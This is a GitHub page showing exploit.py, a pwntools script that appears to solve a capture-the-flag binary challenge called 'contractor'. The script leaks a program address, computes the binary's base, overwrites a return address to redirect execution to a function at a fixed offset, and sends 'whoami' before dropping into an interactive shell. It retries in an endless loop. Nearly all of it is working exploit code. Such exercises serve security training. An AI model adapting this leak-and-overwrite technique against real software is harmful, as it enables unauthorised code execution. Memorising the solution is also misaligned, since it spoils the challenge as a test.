-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
127 lines (105 loc) · 3.49 KB
/
Copy pathexploit.py
File metadata and controls
127 lines (105 loc) · 3.49 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/env python3
from pwn import *
gs = '''
continue
'''
def start(elf):
if args.REMOTE:
return remote("127.0.0.1", 1337)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
def newRecvall(p, timeout=1):
data = b""
while True:
try:
chunk = p.recv(timeout=timeout)
if not chunk:
break
data += chunk
except EOFError:
break
log.info(hexdump(data))
return data
def newSend(p, send, newline=True):
if newline:
log.info(b'SENDING (via sendline): ' + send)
p.sendline(send)
else:
log.info(b'SENDING: ' + send)
p.send(send)
log.info(hexdump(send))
def newRecvuntilAndSend(p, until, send, newline=True, timeout=1, error=True):
data = b""
while True:
try:
chunk = p.recv(timeout=timeout)
if not chunk:
break
data += chunk
if until in data:
break
except EOFError:
break
if until not in data and error:
log.info(b'Expected: ')
log.info(hexdump(until))
log.info(b'Received: ')
log.info(hexdump(data))
log.error(b'Expected `until` not found in received data')
log.info(hexdump(data))
newSend(p, send, newline)
def attempt_exploit():
p = None
try:
elf = ELF("./contractor")
context.binary = elf
# context.terminal = ['tmux', 'splitw', '-hp', '70']
libc = ELF("./glibc/libc.so.6")
ld = ELF("./glibc/ld-linux-x86-64.so.2")
# Start the process/connection
p = start(elf)
# === Leak program base ===
newRecvuntilAndSend(p, b'What is your name?', b'A'*0x10, newline=False)
newRecvuntilAndSend(p, b'Now can you tell me the reason you want to join me?', b'B'*0x100, newline=False)
newRecvuntilAndSend(p, b'And what is your age again?', b'69')
newRecvuntilAndSend(p, b'One last thing, you have a certain specialty in combat?', b'C'*0x10, newline=False)
elf_leak = int.from_bytes(newRecvall(p)[0x2da:0x2e0], byteorder='little')
log.info(b'elf_leak: ')
log.info(hex(elf_leak))
elf.address = elf_leak - elf.symbols['__libc_csu_init']
log.info(b'elf.address: ')
log.info(hex(elf.address))
contract_addr = elf.address + 0x1343
log.info(b'contract_addr: ')
log.info(hex(contract_addr))
# === Overwrite return address ===
newSend(p, b'4')
newRecvuntilAndSend(p, b'And what are you good at:',
((b'D'*0x10) +
p64(elf_leak) +
b'\xff\xff\xff\xff' +
b'\xff\xff\xff\xff' +
b'\x60\x0a'), # the 0x60 here is a blind value (maybe put your lucky number here (must be multiple of 8 bytes))
newline=False
)
newRecvuntilAndSend(p, b'>', b'4')
newRecvuntilAndSend(p, b'And what are you good at:',
(p64(contract_addr) +
p64(contract_addr) +
b'\x0a'),
newline=False
)
newRecvuntilAndSend(p, b'I suppose everything is correct now?', b'Yes')
newRecvall(p)
newSend(p, b'whoami')
resp = newRecvall(p)
if b'root' in resp or b'ctf' in resp or b'kali' in resp or len(resp) > 0:
p.interactive()
p.close()
except:
log.info(b'Error')
p.close()
while True:
attempt_exploit()